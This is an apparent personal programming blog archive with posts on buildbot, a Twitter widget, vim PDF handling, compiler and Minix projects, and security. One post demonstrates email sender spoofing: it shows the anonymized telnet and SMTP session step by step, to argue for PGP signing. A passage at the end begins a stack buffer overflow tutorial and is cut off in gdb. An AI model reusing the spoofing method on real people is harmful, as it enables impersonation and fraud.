Showing posts with label Programming. Show all posts
Showing posts with label Programming. Show all posts

Monday, August 10, 2009

The Buildbot Experience..

I've had been pushing myself to submit a patch to buildbot and then write a post about it, but days,weeks and months have passed by and I haven't even read the source code (let alone writing some of my own).. well what can I say, I've been incredibly lazy (the word "busy" can be substituted here.. but that would be a lie). Let me spread some buildbot love rather than just be yet another leach.
Now what is buildbot? According to the website:
The BuildBot is a system to automate the compile/test cycle required by most software projects to validate code changes. By automatically rebuilding and testing the tree each time something has changed, build problems are pinpointed quickly, before other developers are inconvenienced by the failure. The guilty developer can be identified and harassed without human intervention.
It's a build/test automation system that can run on a variety of platforms. Well there are a variety of free and commercial apps out there which do the same. I chose it because it was relatively light weight and was written in python (an impressive list of clientèle was a factor too).

As the relatively small company (note "small" here just means employee strength) where I work in grew; software maintenance, integration and the task of porting the code to all the platforms and then testing them just became an incredibly arduous task. We already had a semi-agile system in place and were using version control, but it was just not enough. In a small firm, even a single dev day spent on anything other than coding/design is a day wasted (and we devs are known to be lazy and don't really like doing the same things again and again).

Our product is supported on many different platforms, ranging from the ancient(linux 2.2, mac 10.2, Sun Sparc 5.8 etc) to relatively new ones(freebsd7, macosx-universal, windows 2008 etc) totaling to about 13 different platform. Commercial systems were out of the question because none of them supported all the platforms that we had, so were any .NET based ones (not possible for *nix systems) and we preferred python based system over java because our test bed was completely in python and we just didn't think that adding another language to the mix would be a good idea in the longer run. Setting up buildbot on the newer systems was a breeze (just apt-get/yum/portage etc was good enough in most of the cases, a rare recompile on some others). The older systems and Windows were a bit messy (big surprise there!). Some of the systems didn't even have python (or had a really old version), let alone twistd (a buildbot dependency). After 3 days of hushed cursing, head banging and a lots of ugly hacks, I got buildbot to run on all of the *nix platforms. Windows kind of made me feel completely handicapped because once the install failed, I had absolutely no idea how to get around the situation. I ended up setting up a proxy Linux system for windows (credit for the idea goes to one of my colleagues), which identified itself as a windows machine and just did the needed compilation over ssh on Windows (using VS2008).

Once the crude system was setup, we started adding bells and whistles. Every svn update now triggers a build on all the 12 different platforms, sends emails to a group of people who want to be notified if something is broken and to the person who broke the code. Another process triggers a nightly builds which updates the code,does a clean build, run a set of core regression tests, creates a package(tagged with date and revision number) and posts the status on a pretty page. The status page (html and css) was also hacked to list the tests that failed on particular machines. It also uploads the package to a different repository which can then be used by the QA team. Later some more hacks were done to maintain just a small history of packages (nightly builds, not the production builds) and then some (idiosyncratic to the product)... Check out Google Chrome's buidbot page.. now imagine that for 12 different platforms!!.

We did get the obvious benefits:
  • no integration downtime.
  • no downtime to port the product to different OSes.
  • continuous integration made the development process more robust/agile.
There were some not-so-obvious benefits too:
  • Since creating a package on all the platforms just involved clicking a button on the web interface, debugging->packaging->testing cycle was made a lot faster as the QA didn't have to wait for developer to create the package (who would normally try to include all the fixes in a package before creating a package), which means faster feedback on the remaining issues/builds, which means a happy PM :)
  • Automating build across different platforms meant that all the platform specific hacks would have to be cleaned up, which meant a more elegant build process, which lead to faster build time and did point to some issues that were being overlooked.
  • The green color signals a "pass" on the buildbot status page. Surprisingly we(all the devs) find it rewarding to see a green on the status page with our names beneath it, I think I can safely say that our productivity has gone up and our favorite color is "buildbot green" :) .
The whole system works so well and has relieved me of so much of repetitive/boring work, that I was guilty of using it for free. And since I am a poor developer, all I could do was offer some CPU cycles on my home machine (did that for about 4-5 months, until the summer heat forced me to switch off my PC) and offer my help to write some code (which I'll get around to doing one of these days).

On a totally unrelated note, I'll be taking a trip to Europe (Paris, Zurich, Munich, Prague, Brussels, Brugge, Amsterdam), so drop me a line if you've been to any of these places and would like to recommend me something that I should not miss.

Monday, August 11, 2008

Car hack..

As all of you know (if you read the earlier post), that my car has a Bose audio system. It sounds really awesome with 7 speaker surround sound and 9 subwoofers and/or pods (the term am not sure of but my car geek friends refers to.. sort of the refers to the speaker design that moves back and forth alot, so if you are standing close to it, you get a different feedback for the beats.. these pods are fixed next to my legrest, so the whole experience is pretty rad when you are driving).. ofcourse, I'm no audiophile.. the only speakers I ever purchased were the cheap Rs300 speakers in India, so my perception of the sound quality might be skewed.
Ok.. back on track. The only thing that this audio system lacked was an auxillary input to which I could plug in my mp3 player to (which is NOT an iPod). I went to the dealer and  was told that it would cost me $700 to replace the sound system, of course he had to bear with my loud WTF sigh.. there was no way on earth I was gonna do that. Next I went to some random car-audio store and asked him for a relatively inexpensive solution, and he showed me some gizmo for about $140 that interfaced directly with iPod, but did expose an auxillary-in.. but I didn't wanna pay for an iPod interface that I would never use, so I searched around for a simpler/similar solution.
Now fm transmitters were totally out of question, I had tried them and the sound quality sucked. Using that on the bose system was like tying a gold chain to a monkey. I noticed that there were tape/MD drive buttons and slots on the dash, but no tape drive, which led me to believe that there would be way to directly hook up a mod chip to that interface and get clean unadulterated music directly from my mp3 player (which is creative zen sleek iPhoto.. i know, it's relatively unknown, but it was the only mp3 player in my budget with a fm reciever in it). I googled "tape/md drive auxillary input mazda6", and voila! found Mazda6 forums where people were discussing exactly the same issues, and I discovered AuxMod in one of the archives, which was exactly what I needed.
Needless to say, I ordered it (but was definitely vary about the shady site), got it in a week by UPS, wrapped in torn magazine pages! Well, at $60, I wasn't exactly expecting a well wrapped manual with funky CDs that I would just toss into the trash. Next roadblock was installing it, the car-audio mechanics were charging about $200 for installation (I checked at two differnt places and they both gave me similar quotes.. another classic WTF moments), so I decided to install it myself (against the advice from all my friends/roommate and the ridicule by the car-audio mechanic who gave me a "yeah right" look ). My housemate let me borrow his tool set for my little adventure.
Had to rip open the cup holder, the gear interface, the glove compartment and the whole dash to reach the damn radio. Took me 4 friggin hours to install it and route the auxillary cable inside the armrest. After battling through some unmodular interfaces, weird sockets, mind numbingly complex plugs and being almost starved, dehydrated and exhausted to the point of unconsiousness, I pulled it off. This was one hack, not for the faint hearted.
It worked like a charm and was a totally rewarding experience. Finally.. took a long cold shower, took her out for a spin and treated myself with some bhel-puri and jal-jeera at Lucky Dhaba :)

Wednesday, April 23, 2008

Tweet tweet..

If you are reading this blog and are !(family||friend) then chances are that you would have heard of the microblogging platform known as twitter. It was released about 2 years ago. I had previously rejected the idea as a ludicrous waste of time and unnecessary invasion of privacy.. but digg and slashdot have rammed the idea down my throat and I have finally given in to the idea of using twitter.

The main reason I have joined the twitter bandwagon is because I don't have enough time to update this blog, be visible on social networking websites like orkut and facebook or even keep in touch with enough friends. Twitter solves the problem by letting me broadcast a one liner to all these places with just a single IM message to twitter@twitter.com... nifty.

Twitter provides a javascript/json based script to update the status badge on blogger. This badge occupies a rectangular area and if I was forced to use it, I would have put it in the sidebar. Not only does it messes with the Feng-shui but also eats a chunk of my screen estate. People hardly even notice the sidebar (according to the stats by various analytics).

After messing about 30 minutes with the badge code, I came up with the following fully functional twitter status line(not badge) which has all the functional elements of the badge. The title links to twitter's follow me and a mouseover action would display the update time as a tool tip.

Here's the code:


<script type="text/javascript">
function twitterCallback2(obj) {
var twitters = obj;
var statusHTML = "";
var username = "";
username = twitters[0].user.screen_name
statusHTML = '<span title="'+relative_time(twitters[0].created_at)+'"><b>
<a href="http://twitter.com/codeyman">Twitter Update:</a></b>&nbsp;'+
twitters[0].text+'</span>';
document.getElementById('twitter_update_list').innerHTML = statusHTML;
}

function relative_time(time_value) {
var values = time_value.split(" ");
time_value = values[1] + " " + values[2] + ", " + values[5] + " " + values[3];
var parsed_date = Date.parse(time_value);
var relative_to = (arguments.length > 1) ? arguments[1] : new Date();
var delta = parseInt((relative_to.getTime() - parsed_date) / 1000);
delta = delta + (relative_to.getTimezoneOffset() * 60);

if (delta < 60) {
return 'Updated less than a minute ago';
} else if(delta < 120) {
return 'Updated about a minute ago';
} else if(delta < (60*60)) {
return 'Updated '+(parseInt(delta / 60)).toString() + ' minutes ago';
} else if(delta < (120*60)) {
return 'Updated about an hour ago';
} else if(delta < (24*60*60)) {
return 'Updated about ' + (parseInt(delta / 3600)).toString() + ' hours ago';
} else if(delta < (48*60*60)) {
return 'Updated 1 day ago';
} else {
return 'Updated '+(parseInt(delta / 86400)).toString() + ' days ago';
}
}
</script>

<div id="twitter_div">
<div id="twitter_update_list" align="left"></div>
</div>
<script type="text/javascript"
src="http://twitter.com/statuses/user_timeline/codeyman.json?
callback=twitterCallback2&count=1">
</script>




Of course, since I am not a web developer by a mile, I agree that this code might still be ugly and can still be optimized, but hey.. its smaller than the older code, doesn't do any lookups for external javascripts.

If any web dev out there could optimize it even further.. do let me know.

Saturday, March 22, 2008

vim sorcery: read/write pdf files

I hate switching windows to refer some manual while coding.. completely breaks the flow. I was browsing through some vim tips, which had an entry for reading MS Word docs in vim and wanted to do the same with pdf files... and then decided to take it a notch higher. By adding the following entries to your .vimrc, you can read/write pdf files transparently, as if they were just regular files. Of course, you can also open these pdf files in regular pdf viewers.

Here's how to do it:
  1. Get xpdf and cups-pdf. On Ubuntu this should do the trick:
    sudo apt-get install xpdf cups-pdf
  2. cups-pdf prints the pdf files and saves them in ~/PDF/ by default. I am assuming that these settings wont be changed.
  3. Add the following lines to ~/.vimrc
    autocmd BufReadPre *.pdf set ro nowrap
    autocmd BufReadPost *.pdf silent %!pdftotext "%" -layout -q -eol unix -
    autocmd BufWritePost *.pdf silent !rm -rf ~/PDF/%
    autocmd BufWritePost *.pdf silent !lp -s -d "%"
    autocmd BufWritePost *.pdf silent !until [ -e ~/PDF/% ]; do sleep 1; done
    autocmd BufWritePost *.pdf silent !mv ~/PDF/% %:p:h
BTW, I have also added this tip to vim Tips. Once setup properly, you can open, save, write pdf files in vim as if they were regular text files.(I guess I already said that earlier.. but what the heck)

Sunday, February 03, 2008

Tiddly oooo...

First of all let me introduce you to my foray into the world of javascript : http://sridharv.net .

I was never too much of a web enthusiast (from a developer's perspective).. the reasons being that presentation is a big part of a web application and I hate spending hours on a wysiwyg editor to get the right look. Also there does not seem to be any consistency in the way the pages are rendered on various browsers.

This website began as an exploratory project into the tiddly world when Paul Reiber introduced me to it at an SVLUG installfest. The prospect of an all javascript website sounded alot more interesting than spending hours on dreamweaver/quanta/bluefish/frontpage etc etc. Tweaking a few if and for statements was all I needed to get the right look (and some occasional div tweaks).

There were a lot of different technologies that went into this website that I had no or little experience with:
  1. TiddlyWiki: This is a microcontent wiki created by Jeremy Ruston. Here's an extract from tiddlywiki.com:
    TiddlyWiki is fundamentally different from a conventional Wiki because it is not based on separate, entire pages of content, but rather items of MicroContent referred to as Tiddlers that live together on the same page.
  2. Tiddlers can not only be used to edit and publish new content but also to edit and modify the source of the webpage itself. This enables a highly modular plugin architecture. All you have to do is write a small plugin to do your bidding or better yet.. import one from someone who has already done it. Check this tiddler out. This small plugin was written by me to fix some rss rendering inconsistencies on IE... simple enough. Websites like tiddlytools provide tons of cool plugins that make adding any snazzy formatting/functionality a breeze on tiddlywiki.
  3. DNS Management: Although this is pretty easy and does not take more than 20 minutes; setting up sub domains, CNAME records, forwarding etc is interesting in many respects (not fun though). It was sort of an educational experience for me. Apparently if you use meta tag information on a page for redirection, Google considers the page as a duplicate and penalizes the page which will reduce its page rank and thats as bad as it can get... who knew.
  4. RSS management: Ok.. I cheated here. I used yahoo pipes to join couple of feeds, imposed limits on the number or elements, made a few cosmetic changes via feedburner and plugged it into the website. Yahoo pipes is one great tool that you have to check out.
One thing that was quite evident while testing the websites on different browsers was that they still have to go a long way towards standard compliance. I developed this website on firefox, IE put quite a fight, Opera was the official loser and Safari turned out to be a ringer. There was a big difference in the way iframes were rendered.

Anyhoo.. do check out my website and let me know if you stumble upon some bug or irritating feature.

Saturday, August 18, 2007

Why do you need PGP?

Lets answer a more basic question first: Why do you need any security constructs like AntiVirus, firewall, IDS etc? Maybe because:

  • You have secret/vital information to protect.
  • The exploit/attack is so easy that any casual user can do it.. for fun.

On my laptop running Linux I don't have an antivirus, firewall or IDS.. I don't have any critical information on my laptop (the critical information is encrypted using my DNA sequence, scrambled using my iris pattern as seed, divided into blocks and stored on NSA servers :P), nor does it run continuously to give the attacker any time to conduct the attack... It's a different story altogether for workstations running 24x7. That said, why do I need PGP to encrypt/authenticate my mails then? It's not that I need to protect my mails from the public eye or even a passive listener.. come on, what can a person get by reading the emails I write to my friends and family!!.. The problem arises when he can write emails to my friends and family using my email ID.. and be undetected. The point of concern is how much easier it is to do so.. let me show you how:

PLEASE NOTE: Doing this is illegal in US and EU unless you own the email addresses you are using. Posing as a third party is considered Identity theft and is a criminal offense. I am using the email address that belongs to me and this demonstration is only for the educational purposes. I am not responsible for anything you might do with the information provided here.

  • Cover your tracks: What better way to do that than tor+privoxy!! Since I will be using telnet for this exploit, I need a way to torrify telnet. torrify command does that but I was too lazy to figure out the syntax. I grabbed tor_aliases to do that. Its a small script that you add to your .bashrc , which automatically torrifies various net tools like telnet, scp etc.(Thanks t3rmin4t0r for pointing it out to me on #linux-india).
  • Find the smtp server of the victim: I am going to send a mail to testingusage@gmail.com(again the ID belongs to me and I use it for testing purposes). Lets figure out which smtp server gmail uses..


  • sridhar@pico:~$ dig mx gmail.com
    ; <<>> DiG 9.3.4 <<>> mx gmail.com
    ;; global options: printcmd
    ;; Got answer:
    ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8033
    ;; flags: qr rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 7

    ;; QUESTION SECTION:
    ;gmail.com. IN MX

    ;; ANSWER SECTION:
    gmail.com. 3534 IN MX 50 gsmtp183.google.com.
    gmail.com. 3534 IN MX 5 gmail-smtp-in.l.google.com.
    gmail.com. 3534 IN MX 10 alt1.gmail-smtp-in.l.google.com.
    gmail.com. 3534 IN MX 10 alt2.gmail-smtp-in.l.google.com.
    gmail.com. 3534 IN MX 50 gsmtp163.google.com.

    ;; ADDITIONAL SECTION:
    gmail-smtp-in.l.google.com. 214 IN A 209.85.199.114
    gmail-smtp-in.l.google.com. 214 IN A 209.85.199.27
    alt1.gmail-smtp-in.l.google.com. 237 IN A 64.233.167.114
    alt1.gmail-smtp-in.l.google.com. 237 IN A 64.233.167.27
    alt2.gmail-smtp-in.l.google.com. 285 IN A 66.249.91.27
    gsmtp163.google.com. 5883 IN A 64.233.163.27
    gsmtp183.google.com. 4017 IN A 64.233.183.27

    ;; Query time: 64 msec
    ;; SERVER: 192.168.1.1#53(192.168.1.1)
    ;; WHEN: Sun Jul 29 14:05:57 2007
    ;; MSG SIZE rcvd: 270


    MX points to the servers that receives email. The numbers 50,5,10,10,50 you see are preference numbers. Lower the number, the higher the preference.. for us it means that we have higher probability of a successful attack. which implies that we will be using gmail-smtp-in.l.google.com.

  • Speaking SMTP: The last step is to speak in SMTP to make the server to accept the mail. I am not going to teach you SMTP here. Check out RFC 821 for the details.
  • sridhar@pico:~/blog$ telnet gmail-smtp-in.l.google.com. 25
    Resolving gmail-smtp-in.l.google.com. through tor... 209.85.129.27
    Trying 209.85.129.27...
    Connected to 209.85.129.27.
    Escape character is '^]'.
    220 mx.google.com ESMTP o11si2850482fkf
    502 5.5.1 Unrecognized command o11si2850482fkf
    helo
    250 mx.google.com at your service
    mail from: <testingusage@gmail.com>
    250 2.1.0 OK
    rcpt to: <testingusage@gmail.com>
    250 2.1.5 OK
    data
    354 Go ahead
    From: Someone <someone@someone.com>
    Subject: Testing

    I see the light!!

    .
    250 2.0.0 OK 1187318464 o11si2850482fkf
    quit

Please do note that testingusage@gmail.com is my own ID, so no harm done. What have I just done? Sent an email to testingusage@gmail.com as someone@someone.com... I could have used any email address there and nothing will be traceable back to me. The following screenshot shows you the result:


As you can see that the message was marked as spam, that is because I did not create the mail properly and someone.com may be in its blacklist. It's fairly easy to fool those spam filters.

Infact the method just demonstrated is used alot by spammers.. just a bit more refined and automated. Nothing is stopping your mortal enemy from impersonating you and wreak a havoc in your life. Yes there are ways to detect a fake mail.. IP analysis, route it takes etc etc, but it all requires the receiver to be a paranoid geek. How many mails do you receive daily and how many times have you stopped to check the authenticity of the mail?

So what is the solution?.. PGP or it's free, open source implementation GPG(GNU Privacy Guard). There are millions of tutorials on the web so am not going to write another one here.

In a nutshell, it attaches a keyed hash to your mail. Since it uses DSA, only you posses the key to create the hash. All others users can only verify your hash using your public key (which has to be published on keyring servers e.g. http://pgp.mit.edu ). The email client takes care of the whole process so you don't have to do anything except the initial setup.

Is it fool proof? NO.. This will only stop casual attacks. The attacker may spoof your identity, create a public key with your credentials and ask the receiver to download his public key, so the receiver might consider your emails fake and the attacker's emails real, but of course this is not something your friend might do for fun.

Bottom line; if you are breaking up with someone on email, proposing someone or making a million dollar deal, use GPG to tell the receiver that it's really you :)
BTW my pgp key is this. That said I can always deny sending a mail which doesn't have my signature... which I might use to satisfy my evil ends ..Mwahahahaha.

PS: There are chances that the attack shown above might not work. This would happen if your IP is blacklisted.

Sunday, July 01, 2007

Whistling at your computer

Those of you following Slashdot would have noticed the IBM's article to provide commands to your computer by whistling at it. I decided to give it a shot on Ubuntu7.04. Follow these steps to get it working flawlessly on Ubuntu:
  • $sudo apt-get install libsndfile1 libsndfile1-dev libglut libglut-dev
  • Follow the instructions in the linked article and download the file cmdWhistle.pl
  • Replace the functions getEpochSeconds and getEpochMicroseconds in cmdWhistle.pl with this code:

    use Time::HiRes qw(gettimeofday); #Add at the beginning of the file

    sub getEpochMicroSeconds {
    my $seconds=0;
    my $microseconds=0;
    my $timeVal;
    ($seconds, $microseconds) = gettimeofday;
    $timeVal = $seconds.$microseconds;
    $timeVal = substr( $timeVal, 6);

    my $padLen = 10 - length($timeVal);
    $timeVal = $timeVal . "0" x $padLen;

    return($timeVal);
    }#getEpochMicroSeconds

    sub getEpochSeconds {
    my $seconds=0;
    my $microseconds=0;
    ($seconds, $microseconds) = gettimeofday;
    return $seconds
    }#getEpochSeconds

  • After this you can pretty much follow the same instructions that the article explains.
I tried running the few commands(did not try the windowing commands using xwit though) after which my mouth started to hurt and I could not whistle a consistent tune afterwards :( It's a good piece of software, and the sndpeek program that it uses is really awesome and feature rich but I think using whistle as an input is totally infeasible for me.
On the other hand, if you know how to play any kind of wind instrument(like flute, clarinet etc) you can easily write a superkewl password login utility that takes a particular tune as an input... sounds right out of a hollywood movie, doesn't it :)

Tuesday, May 01, 2007

The sound of music..

Am not a music enthusiast, but when I got to listen to it, I need the song. Although I do have an MP3 player, I am fond of internet radio.. live365, pandora, raaga.com, dishant.com et al. Most of them work flawlessly on Linux.. but some Indian Bollywood radios seem to fail pathetically. I always thought that it would be some compatibility issue since they seem to work fine on Windows. Incidentally, few days back I started firefox from the terminal(well.. i generally click on the icon) and wistfully tried playing a song from raaga.com. (Firefox on wine is really frustrating). Of course.. nothing happened, but I found a SEGFAULT reported to the terminal... this was the beginning of a big adventure :)

I googled out the issue and found that someone had found the issue and interestingly enough posted the solution on bugzilla long ago. I downloaded the latest tar ball and saw that the errors were not yet fixed! Big deal I thought.. lemme compile the code myself. There were no INSTALL or READMEs in the directory.. but there was a Makefile... I didn't care to look into the makefile and just called make. That didn't work.. I found that Makefile called individual makefiles in hundreds of subdirectories and those makefiles were not there in the subdirectories!! This is where the "real" fun began.

I have to give you a brief idea of the helix project on Linux(Real's backend) before I can proceed further.
  • Its a mixture if highly convoluted C and C++ code. The building process is handled by a python script called Umake (which is used for cross platform compilation).
  • The same blob can be compiled into helix server, helix client, real player.. etc etc. There are 32 different project into which you can compile the source code into.
  • There are 634 build targets!!
  • This whole setup reads another configuration parameter to know the destination build system.. including most almost all versions of Windows, Unix and linux.
  • I'd leave the maths up to you.
It makes sense now that a static Makefile was not supplied with the release tarball. But I was pretty adamant on getting RealPlayer to work with my firefox installation. This manual will tell you that how freaking hard it is to get the damned thing compile.

I had to become a Helix community member, set up CVS access to the repository, accept all the BEULA craphola(I am not allowed to fix bugs and let people have it even though its free), spend countless hours debugging the substandard code and build it. The whole code base has tell tale signs of cut paste code, unnecessary optimization and non standard C++. I was messing up with the latest stable release when one of the Real developers informed me that the branch was dead!! I got one of those nightly builds that had fixed few, but not all, of the issues. I then quickly made the changes and got the thing to build. The most stupid errors were the ones where the variables were used without definition inside a #ifdef clause, casting a boolean into integer etc.

To cut the long story short, Raaga.com now works with firefox on Linux!!! and no unfortunately I cant give you the binary, you have to build it yourself.. RealPlayer's license needs another entry. It is clearly an example of __evil__ open source (The good one being GPL of course). I cant check in the code cuz I was not authorized to modify them at the first place.

Anyhoo.. the songs sound so much more melodious now :)...

PS: A developer asked me to submit a patch. If all goes well, then the whole Linux desi community would soon be thanking me :P

PPS: My patch is accepted. You can download the nightly build by tomorrow.. or wait for the next release. It will be a part of the next release... Yay!!

PPPS: Download the latest binaries here.

Thursday, April 19, 2007

I am High!!



begin
const n=10;
integer array A[n];
integer x,i;

proc Sort
begin
integer k,x;
i:=1;
k:=n;
do ~(k<1)>
i:=1;
do i
if A[i]>A[i+1] ->
x:=A[i];
A[i]:=A[i+1];
A[i+1]:=x;
[]
1=1 -> x:=1;
fi;
i:=i+1;
od;
k:=k-1;
od;
end;

$Input Table:
i:=1;
do ~(i>n)->read A[i];i:=i+1; od;

$ Test Sort:
i:=1;
call Sort;
do ~(i>n)->write A[i];i:=i+1; od;

end.


Hmm.. before you bombard me with any questions, let me answer them all..
1) What Language is that?
Ans: PL

2)What does it do?
Ans: Its a really bad inefficient implementation of bubble sort.

3)Does it actually compiles and runs?
Ans: Yes, Of Course.

4)How do I know it?
Ans: Cause I WROTE THE COMPILER!!! I can not express in words, how elated I am. Well, of course, its just another project. But.. its a friggin compiler!! I wanted to make one, when I first came to know about them(about 10 years ago).. It's totally surreal. It gives me error messages when I make an error(Type error, Syntax error, out of Scope etc etc) and it took almost 3 months to finish it (well.. only 2 weeks for coding though). It totally amazes me that how a figment of my imagination can suddenly become so tangible, so real.. so alive.

Sincere thanks to Dr Per Brinch Hansen, for helping me realize a dream. Its been a pleasure being his student.

There is also sadness deep inside.. I realize that I may not get to work on a compiler ever again in my life..but there is hope..
If I have a geeky kid or a grandkid, you know what stories I will be telling them :P

Sunday, April 15, 2007

Its alive!!

Remember the good old school/undergrad days.. when you thought you knew everything. No? Well then I guess it was just me. I was as enthused by open source and Linux then, as I am now, but was apparently not a very good programmer(good by the standards of ppl of my age though)... but of course I didn't think so then. I made a Linux Task Manager on the lines of Windows task manager which had a similar interface and used to parse the data from the /proc directory. It was one of the best term projects and I so was excited by it that I went and uploaded it on Sourceforge. Of course I did not maintain it... I was young and brash then :P.

Fast forward four years.. I g0t a mail regarding missing files in that project!! I went and checked the sourceforge page and was shocked to find a 93.1% activity and about 96 downloads!! I downloaded the old tarball and it was missing a few source files... who would want to download such a project?? I found an old CD containing the source codes of my projects.. used qt3to4 to convert the project format and re-uploaded it. Ofcourse, I marked it "ceased development".

I just looked into the source files to see if I could quickly fix some of the stuffs there... There was a bigger surprise waiting for me. I had done implementation in the .h files... used namespace-less header.h files, used fscanfs in C++ code... programmers doing any of the above stuffs should be immediately stopped from using the computer and should be sent to concentration camps and tortured until they start following the guidelines.

There was a time when I would bring the project into any discussion I was involved in... Fortunately there is still time and there is still no such product. I swear to totally change and refactor the code as soon as I get time...

PS: If you are a Qt expert and are free, you can contribute to the project.. wont take long to get it up and running.

Saturday, March 03, 2007

Compiler Design....

Before I dive into the meat of the topic, I would like to mention that I am a HUGE fan of Per Brinch Hansen... so whatever viewpoints I express in this post, will totally be partial to him.Per Brinch Hansen is teaching me Compiler Design this year and I need to implement 6 phases of a compiler, for a minimalistic language(PL), incrementally for the course completion. I am already done with the scanner and parser.Programming should be a thoughtless process. It should be as obvious as Maths.

Most of you guys(that is, if you are in Computer Science) would have taken design courses(OO etc ). How many times did you have trouble implementing a properly designed code? If your design is good, you should have none, but the idiosyncrasies of the programming language sometime do corner you at some nasty implementation issue. Everyone has seen a nasty memory leak or a typo ruining the whole logic of your implementation. According to Prof Hansen:
Programming should be a thoughtless process. It should be as obvious as Maths. If you are asked the value of 5+2, you would say 7. Have you ever stopped and tried to derive that. Programming should be like that.
Yesterday I was writing the parser, which mainly involved sifting through the PL code and producing a JAVA implementation for the PL's BNF. PL's grammar had some 50 rules which needed to be implemented in the form of around 50 functions. Following the design rules and restrictions imposed by him, I was able to code the parser in just four straight hours!! The code compiled with no syntax errors!! I spent around a day testing it rigorously..and nothing failed!! In fact at one point of time, programming seemed more like documentation. I even wrote vi macros to construct the function skeleton from the grammar rule in the comment (I hate typing:P ). Cant wait to finish rest of phases...

PS: BTW the EFS project ,I was talking about in the earlier post, is implemented and all the issues are resolved. Too bad its proprietary :(

PPS: A colleague forwarded me this link. Turn out that Per Brinch Hansen was the one who came up with the idea of an OS kernel!!

Thursday, February 01, 2007

EFS on Minix: Design Issues

I am implementing an encrypted file system(EFS) on Minix3.1.2a. Although the implementation is not all that difficult (infact it is really easy), the design is certainly not trivial.

Lets assume a simplistic case of one user per system and lets assume that his key(or password ) will never change. In such case, the only thing that needs to be done is
  • Reading a block from the disk and decrypting it before placing it in the cache/queue/routine.
  • Encrypting the data before writing it back to the disk.
In Minix3.1.2a, rw_block() is the only function that needs to be modified (I mean the meat of the implementation goes here). This is not a difficult task to accomplish, but the key management and the group management issues are really tricky. Here are some of the issues:

KEY MANAGEMENT:
  • A user X has key Kx. His 25000 (say) files are encrypted using Kx. Now a computer savvy guy that X is, decides to change his password. What would the system do now? Decrypt all his files and re-encrypt them using his new key?
  • Here's a solution: Suppose X has two keys K1 and K2. K2 is used to encrypt his files and K1 is used to encrypt K2, so when X logs in, he is able to unlock K2 and read his file. His encrypted K2 is, of course, stored on the disk. Now thats a file too... how will that be encrypted? Who will encrypt it? Remember that the whole purpose of an EFS is to protect the data on a hard disk on an event of physical compromise of a system... and you cant make that file, not follow a rule.
GROUP MANAGEMENT:
Now X encrypts his file using Kx. Then he joins a software company and is asked to collaborate with other employees. The system admin puts him in a group, the member of his group are his colleagues who share the files. How will other's read his files which are encrypted with his password??

The future looks bleak now... there certainly have been many attempts to solve this seemingly easy problem with no avail. Microsoft provides an ad-hoc solution by allowing individual files to be encrypted. Group access cannot be added although individual users can still be added. This leads to an elongated file header and I don't find this design all that attractive or well thought out. One solution, that looks a bit futuristic, used a smart card but that is not an option in my case .

Hmmmm..... its an interesting problem. Think about it. I will...

PS: There will be few solutions on the wiki pages that I have linked to. They are too complicated to be correct and lack of libraries to do those stuff on Minix will make my life hell if I choose to mimic them... nevertheless it should not deter me from implementing such a system on Minix. And after all as my Professor Per Brinch Hansen says :"Simplicity is intelligence, multitude is stupidity"

Thursday, December 07, 2006

Techies do suck at marketing...

I had to implement IPSec on Minix 3.1.2 for my Internet Security course this semster. Had it not been for the incident, I will be ranting about later in this entry, this entry would have been a detailed overview of my implementation.

We (grp of 2) were given about 5 weeks to implement the project. We finally nailed it and were very proud of our creation. Adding IPSec on the IP layer of a micro kernel based OS has its own kicks. Everything from designing, programming and debugging were harder than on a monolithic OS(I have done some on FreeBSD and Linux). Severe memory constraints (within Vmware) made the kernel to panic and, everyone with kernel development experience knows how hard it is to trace memory leaks. After painstakingly tracking and squishing the bugs, our product was ready for prime time.

For non CS people, we "Software developers/engineers/scientist" treat the software we create as a work of art... more like our own child. We get so absorbed in the beauty of our creation that we lose sight of the reality, which is what happened to me.

Dr Du has a different way of evaluating projects. He alloted just 15 minutes per group and never touched the keyboard or say anything. He asked us to step into salesman shoes and try selling the product to him. We on the other hand, full of ourselves, raring to show off our product, had 16 test cases (which were necessary to prove that our implementation was correct) and a presentation (of 4 slides.. just explaining the setup and robustness) all squeezed into 15 minutes. We couldn't have been more naive. We took around 8 minutes to explain the setup properly and then tried to show the test cases to him. Running 16 test cases in 5 minutes was clearly impossible...the inevitable happened,...we fumbled and the demonstration went downhill after that. Even though I might have made the best darn project in the class (yes I am egotistic and full of myself... i need to see a psychiatrist )... the world never got to see it.

I went through the three phases of denial, anger and acceptance. We were almost wailing like a kindergarten kid, that 15 minutes was not enough to sell a product we made in 5 weeks.... acceptance came later when we realized what went wrong. How much time would have been enough? 30 minutes? 1 Hr?... for all the 15 groups? Frankly, I could spend hours talking about the project. It is one thing to be enthusiastic about the work you do, but expecting others to show the same level of enthusiasm toward it is stupid and silly.

I guess I should sign up for an entrepreneurship course next semester....


PS: I will be leaving for India on 17th December. My Itenary will be available through Google Calendar. You can subscribe to it by clicking the button on the sidebar....

Monday, October 09, 2006

Beginner's guide to Stack buffer overflow...

If you are a C/C++ geek with an ounce of interest in system programming, you would have definitely tried stack buffer overflow. Most of the websites out there are either too detailed or too abstract. Some of the popular websites for buffer overflow claim success on age old machines.. of course the techniques listed on these sites don't work and are terribly hard to replicate.

So all you linux newbs, here is a simplistic buffer overflow exploit written in C... Well I wont call it an exploit, more of a way to modify the return address. A little bit of assembly knowledge would help but is not necessary. I did it on Ubuntu Dapper... fasten your seat belts now.

void function(int a, int b, int c)
{
char ret5[1];
}

int main()
{
int x;

x = 0;
function(1,100,3);
x = 1;
printf(``%d\n'',x);
}
*Adapted example from http://www.cs.wright.edu/people/faculty/tkprasad/courses/cs781/alephOne.html
The above program just prints 1 on the console... what did you think? BTW do keep the debugging option on while compiling the code, i.e your command line should be:
$gcc -o program program.c -g


Now its time to wear that black hat and fire gdb.

(gdb) break 1
Breakpoint 1 at 0x8048360: file temp.c, line 1.
(gdb) r
Starting program: /home/sridhar/bufov/program

Breakpoint 1, function (a=1, b=-1082010236, c=-1082010228) at temp.c:1
1 void function(int a, int b, int c) {
(gdb) s
3 }
(gdb) info registers
eax 0x10 16
ecx 0xbf81d58c -1082010228
edx 0x1 1
ebx 0xb7ef2adc -1209062692
esp 0xbf81d4a8 0xbf81d4a8
ebp 0xbf81d4b8 0xbf81d4b8
esi 0xbf81d584 -1082010236
edi 0xbf81d510 -1082010352
eip 0x8048366 0x8048366
eflags 0x200282 2097794
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) print &ret
